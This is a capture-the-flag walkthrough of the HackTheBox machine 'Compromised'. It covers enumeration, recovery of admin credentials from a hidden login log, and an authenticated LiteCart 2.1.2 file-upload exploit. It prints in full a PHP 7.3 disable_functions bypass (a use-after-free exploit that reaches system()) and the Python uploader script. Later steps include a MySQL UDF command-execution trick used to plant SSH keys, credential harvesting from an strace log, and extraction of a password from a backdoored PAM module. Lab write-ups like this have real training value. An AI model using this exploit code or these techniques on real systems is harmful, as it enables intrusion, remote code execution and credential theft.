Introduction

Compromised machine released on 12 Sep 2020 on Hackthebox and create by D4nch3n

Enumeration

IP-: 10.10.10.207

As always, I added IP In hosts file.

softwareuser@parrot:~ sudo nmap -sC -sS -sV -T4 -A -oN nmap/intial_scan compromised.htb

-sC for default scripts
-sV for Version detection
-sS for SYN scan
-T4 for speeding up Scan
-A for Advanced and Aggressive features
-oN for Output

lnmap is just my alias to print only open ports from result file

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))

Web-Page

Litecart is running on web page. LiteCart e-commerce platform built with PHP, jQuery and HTML 5.

Nothing intresting lets dir brute.

gobuster dir -u compromised.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 | tee gobuster/gobuster.log

Directories

/.hta 
/.htpasswd 
/.htaccess 
/backup 
/index.php 
/server-status 
/shop 

in backup dir got an tar.gz file

Extracting tar file

Lots of file in extracted folder

after some enumeration i got file where we can see location of hidden log file in /admin/login.php

Login php –

if (isset($_POST['login'])) {
    //file_put_contents("./.log2301c9430d8593ae.txt", "User: " . $_POST['username'] . " Passwd: " . $_POST['password']);
    user::login($_POST['username'], $_POST['password'], $redirect_url, isset($_POST['remember_me']) ? $_POST['remember_me'] : false);
}

file name – [./.log2301c9430d8593ae.txt]

so i tried to access it on web page. We can access it on -: (http://compromised.htb/shop/admin/.log2301c9430d8593ae.txt)

we got a password and username also on web page we have an login page we can try to login.

User: admin Passwd: theNextGenSt0r3!~

Logged in admin panel and in the bottom we can see version of web page

LiteCart 2.1.2

Searching exploit of LiteCart Version by searchsploit

now we can exploit litecart. Run the exploit

python 45267.py -t http://10.10.10.207/shop/admin/ -p 'theNextGenSt0r3!~' -u admin

got noting we probably need to edit the script

edit exploit code so we can see php version –

files = {
        'vqmod': (rand + ".php", "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); } ?>", "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
to this 
files = {
        'vqmod': (rand + ".php", "<?php phpinfo(); ?>", "application/xml"),
        'token':one,
        'upload':(None,"Upload")
}

also remove print r.content from line72

run the exploit now and our shell is uploaded

and the php version is vunlreable and there is an bypass available  link( https://packetstormsecurity.com/files/154728/PHP-7.3-disable_functions-Bypass.html)  we also need to modify python-exploit and bypass.php.

to 
pwn("uname -a");
 
to this
pwn("c")

so final exploit and bypass will be

mybypass.php

<?php

pwn($_REQUEST[‘c’]);

function pwn($cmd) {

    global $abc, $helper;

    function str2ptr(&$str, $p = 0, $s = 8) {

        $address = 0;

        for($j = $s-1; $j >= 0; $j–) {

            $address <<= 8;

            $address |= ord($str[$p+$j]);

        }

        return $address;

    }

    function ptr2str($ptr, $m = 8) {

        $out = “”;

        for ($i=0; $i < $m; $i++) {

            $out .= chr($ptr & 0xff);

            $ptr >>= 8;

        }

        return $out;

    }

    function write(&$str, $p, $v, $n = 8) {

        $i = 0;

        for($i = 0; $i < $n; $i++) {

            $str[$p + $i] = chr($v & 0xff);

            $v >>= 8;

        }

    }

    function leak($addr, $p = 0, $s = 8) {

        global $abc, $helper;

        write($abc, 0x68, $addr + $p – 0x10);

        $leak = strlen($helper->a);

        if($s != 8) { $leak %= 2 << ($s * 8) – 1; }

        return $leak;

    }

    function parse_elf($base) {

        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);

        $e_phentsize = leak($base, 0x36, 2);

        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {

            $header = $base + $e_phoff + $i * $e_phentsize;

            $p_type  = leak($header, 0, 4);

            $p_flags = leak($header, 4, 4);

            $p_vaddr = leak($header, 0x10);

            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write

                # handle pie

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;

                $data_size = $p_memsz;

            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec

                $text_size = $p_memsz;

            }

        }

        if(!$data_addr || !$text_size || !$data_size)

            return false;

        return [$data_addr, $text_size, $data_size];

    }

    function get_basic_funcs($base, $elf) {

        list($data_addr, $text_size, $data_size) = $elf;

        for($i = 0; $i < $data_size / 8; $i++) {

            $leak = leak($data_addr, $i * 8);

            if($leak – $base > 0 && $leak – $base < $text_size) {

                $deref = leak($leak);

                # ‘constant’ constant check

                if($deref != 0x746e6174736e6f63)

                    continue;

            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);

            if($leak – $base > 0 && $leak – $base < $text_size) {

                $deref = leak($leak);

                # ‘bin2hex’ constant check

                if($deref != 0x786568326e6962)

                    continue;

            } else continue;

            return $data_addr + $i * 8;

        }

    }

    function get_binary_base($binary_leak) {

        $base = 0;

        $start = $binary_leak & 0xfffffffffffff000;

        for($i = 0; $i < 0x1000; $i++) {

            $addr = $start – 0x1000 * $i;

            $leak = leak($addr, 0, 7);

            if($leak == 0x10102464c457f) { # ELF header

                return $addr;

            }

        }

    }

    function get_system($basic_funcs) {

        $addr = $basic_funcs;

        do {

            $f_entry = leak($addr);

            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system

                return leak($addr + 8);

            }

            $addr += 0x20;

        } while($f_entry != 0);

        return false;

    }

    class ryat {

        var $ryat;

        var $chtg;

        function __destruct()

        {

            $this->chtg = $this->ryat;

            $this->ryat = 1;

        }

    }

    class Helper {

        public $a, $b, $c, $d;

    }

    if(stristr(PHP_OS, ‘WIN’)) {

        die(‘This PoC is for *nix systems only.’);

    }

    $n_alloc = 10; # increase this value if you get segfaults

    $contiguous = [];

    for($i = 0; $i < $n_alloc; $i++)

        $contiguous[] = str_repeat(‘A’, 79);

    $poc = ‘a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:”ryat”:2:{s:4:”ryat”;R:3;s:4:”chtg”;i:2;}}i:1;i:3;i:2;R:5;}’;

    $out = unserialize($poc);

    gc_collect_cycles();

    $v = [];

    $v[0] = ptr2str(0, 79);

    unset($v);

    $abc = $out[2][0];

    $helper = new Helper;

    $helper->b = function ($x) { };

    if(strlen($abc) == 79) {

        die(“UAF failed”);

    }

    # leaks

    $closure_handlers = str2ptr($abc, 0);

    $php_heap = str2ptr($abc, 0x58);

    $abc_addr = $php_heap – 0xc8;

    # fake value

    write($abc, 0x60, 2);

    write($abc, 0x70, 6);

    # fake reference

    write($abc, 0x10, $abc_addr + 0x60);

    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);

    if(!($base = get_binary_base($binary_leak))) {

        die(“Couldn’t determine binary base address”);

    }

    if(!($elf = parse_elf($base))) {

        die(“Couldn’t parse ELF header”);

    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {

        die(“Couldn’t get basic_functions address”);

    }

    if(!($zif_system = get_system($basic_funcs))) {

        die(“Couldn’t get zif_system address”);

    }

    # fake closure object

    $fake_obj_offset = 0xd0;

    for($i = 0; $i < 0x110; $i += 8) {

        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));

    }

    # pwn

    write($abc, 0x20, $abc_addr + $fake_obj_offset);

    write($abc, 0xd0 + 0x38, 1, 4); # internal func type

    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);

    exit();

}

and 45267.py

import mechanize
import cookielib
import urllib2
import requests
import sys
import argparse
import random
import string
parser = argparse.ArgumentParser(description='LiteCart')
parser.add_argument('-t',
                    help='admin login page url - EX: https://IPADDRESS/admin/')
parser.add_argument('-p',
                    help='admin password')
parser.add_argument('-u',
                    help='admin username')
args = parser.parse_args()
if(not args.u or not args.t or not args.p):
    sys.exit("-h for help")
url = args.t
user = args.u
password = args.p
 
br = mechanize.Browser()
cookiejar = cookielib.LWPCookieJar()
br.set_cookiejar( cookiejar )
br.set_handle_equiv( True )
br.set_handle_redirect( True )
br.set_handle_referer( True )
br.set_handle_robots( False )
br.addheaders = [ ( 'User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1' ) ]
response = br.open(url)
br.select_form(name="login_form")
br["username"] = user
br["password"] = password
res = br.submit()
response = br.open(url + "?app=vqmods&doc=vqmods")
one=""
for form in br.forms():
    one= str(form).split("(")
    one= one[1].split("=")
    one= one[1].split(")")
    one = one[0]
cookies = br._ua_handlers['_cookies'].cookiejar
cookie_dict = {}
for c in cookies:
    cookie_dict[c.name] = c.value
bypass = open('bypass.php', 'r').read()
 
files = {
        'vqmod': ("mybypass.php", bypass, "application/xml"),
        'token':one,
        'upload':(None,"Upload")
    }
response = requests.post(url + "?app=vqmods&doc=vqmods", files=files, cookies=cookie_dict)
r = requests.get(url + "../vqmod/xml/mybypass.php?c=id")
if r.status_code == 200:
    print "Shell => " + url + "../vqmod/xml/mybypass.php"
else:
    print "Sorry something went wrong"

Let’s run the exploit again

our shell is uploaded successfully

now we can execute commands on webserver as we have bypassed disablefunctions.

after enumerating through shell i found mysql creds.

cat /var/www/html/shop/includes/config.inc.php   DB_TYPE’, ‘mysql’);   define(‘DB_SERVER’, ‘localhost’);   define(‘DB_USERNAME’, ‘root’);   define(‘DB_PASSWORD’, ‘changethis’);
  

also mysql has a shell

mysql:x:111:113:MySQL Server,,,:/var/lib/mysql:/bin/bash

I have done something similar before this box so UDF(User Defined Functions ) can be used here udf (https://mariadb.com/kb/en/mysqlfunc-table/)

mysql -u root -pchangethis -e "select * from mysql.func;"

exec_cmd is a UDF yeah so now we can execute commands

as ssh is opened in box so we can put our ssh keys in mysql authorized keys!!

mysql -u root -pchangethis -e “select exec_cmd(‘mkdir -p /var/lib/mysql/.ssh’)”

mysql -u root -pchangethis -e “select exec_cmd(‘echo your keys > /var/lib/mysql/.ssh/authorized_keys’)”

also give chmod 600 to your ssh key. 600 mean that the owner has full read and write access to the file, while no other user can access the file successfully logged in through ssh as mysql

we have lot of files in myqsl home but strace-log.dat is intresting one. strace-log.dat is big we can try to grep random strings. we got password of sysadmin also sysadmin has shell.

:09 execve("/usr/bin/mysql", ["mysql", "-u", "root", "--password=3*NLJE32I$Fe"], 0x55bc62467900 /* 21 vars */) = 0`
sysadmin: 3*NLJE32I$Fe

ssh on sysadmin we got user

Root

i was stucked in root part so i got a hint

find / -newermt “2020-07-14” ! -newermt “2020-09-16” -type f 2>/dev/null

so i found many files but these two files are intresting and these both file have same name but one is hidden and another is not.

i googled about unix pam so pam is pluggable authentication module (PAM) is a mechanism to integrate multiple low-level authentication schemes into a high-level application programming interface (API). Read More about PAM (https://en.wikipedia.org/wiki/Pluggable_authentication_module )  while googling about more about i found a article on pam backdoor (http://0x90909090.blogspot.com/2016/06/creating-backdoor-in-pam-in-5-line-of.html) this is just a article on creating a backdoor pam. also from here i guessed that we need to reverse .so file

now we need to reverse that so first transfer pam_unix.so in your system
scp

scp sysadmin@10.10.10.207:/lib/x86_64-linux-gnu/security/pam_unix.so ./pam_unix.so

i always use ghidra for reversing stuff

lets open it in ghidra

if (iVar2 == 0) {
  backdoor._0_8_ = 0x4533557e656b6c7a;
  backdoor._8_7_ = 0x2d326d3238766e;
  local_40 = 0;
  iVar2 = strcmp((char *)p,backdoor);
  if (iVar2 != 0) {
  iVar2 = _unix_verify_password(pamh,name,(char *)p,ctrl);
 }

thats hex string

we can reverse the strings using option in ghidra.

convert both string into char sequence

so strings will be

“zlke~U3E” “nv82m2-\x00”

our password will be -:

zlke~U3Env82m2-

lets try this password for root

this box was really good learned a lot.

ps -: Ignore my screenshots; both are from different machines. I couldn’t recover much data, so I solved this box two times. if you have any query message me on my Twitter.

Author

Softw4re_user23